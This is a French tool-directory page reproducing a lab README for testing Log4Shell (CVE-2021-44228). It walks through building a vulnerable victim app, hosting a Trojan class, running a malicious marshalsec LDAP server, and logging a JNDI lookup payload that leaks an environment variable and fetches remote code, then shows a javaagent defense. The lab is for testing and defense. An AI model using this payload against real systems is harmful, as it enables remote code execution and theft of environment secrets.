Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
log4shell-test-exploit — Exploit de test de CVE-2021-44228 | Kitploit
Outils/GitHubGitHub/wajda/log4shell-test-exploit
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHubwajda/log4shell-test-exploit

log4shell-test-exploit

Exploit de test de CVE-2021-44228

Voir le dépôt
1il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Test d'exploitation de CVE-2021-44228 (log4shell)

Préparation

root@kitploit:~
# Install Nodejs HTTP server 
npm -g i http-server

# Build victim app
cd victim-app
mvn install

# Compile Trojan
cd test-trojan
javac Trojan.java

# Build marshalsec (required Java 8)
git clone [email protected]:mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

# Build log4j-jndi-be-gone
git clone [email protected]:wajda/log4j-jndi-be-gone.git
cd log4j-jndi-be-gone
git checkout shading-support
./gradlew

Démarrer le serveur HTTP hébergeant une charge utile Trojan

root@kitploit:~
cd test-trojan
http-server .

Démarrer un serveur LDAP malveillant

Voir https://github.com/mbechler/marshalsec

root@kitploit:~
cd marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Trojan"

Surveiller les événements d'exploitation (facultatif)

utile dans les cas où stderr est masqué

root@kitploit:~
watch -d -n 1 'ls -la /tmp/ | grep -i log4shell-BUSTED'

Exploitation

Explication

L'application victime journalise la chaîne suivante via une bibliothèque log4j2 vulnérable (version 2.14.1)

root@kitploit:~
log.error("${jndi:ldap://127.0.0.1:1389/a/${env:USER}}");

exécutant simultanément deux vecteurs d'attaque :

  1. Capture de variables d'environnement ($USER dans cet exemple), qui peut être consultée dans la sortie du serveur LDAP marshalsec
root@kitploit:~
Send LDAP reference result for a/<VICTIM_USER_NAME> redirecting to http://127.0.0.1:8080/Trojan.class
  1. Téléchargement et exécution d'un code malveillant qui journalise le message !!! BUSTED !!! sur le flux d'erreur standard de l'application victime, et crée également un fichier vide /tmp/log4shell-BUSTED-*.
    Pour que cette attaque fonctionne, l'option JVM suivante doit être activée sur le serveur victime :
root@kitploit:~
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
Exécution
root@kitploit:~
cd victim-app

# ... in a console app
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

# ... in a web app (on Tomcat)
cp web/target/log4j2-victim-webapp-1.0-SNAPSHOT.war $TOMCAT_HOME/webapps
curl http://localhost:$TOMCAT_HTTP_PORT/log4j2-victim-webapp-1.0-SNAPSHOT/

Défense

Voir : https://github.com/wajda/log4j-jndi-be-gone/tree/shading-support

root@kitploit:~
java -javaagent:log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=classSigDetection=enabled -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

Défense à l'échelle du système

Remplacez tous les binaires java par le script ci-dessous :

java.guarded

root@kitploit:~
#!/bin/bash
$(dirname "$0")/java.original "-javaagent:/path/to/log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=logDir=/tmp,classSigDetection=enabled" "$@"

Exemple :

root@kitploit:~
 cd $(dirname $(which java))
 sudo su
 mv java java.original
 cp java.guarded java
Télécharger l’outil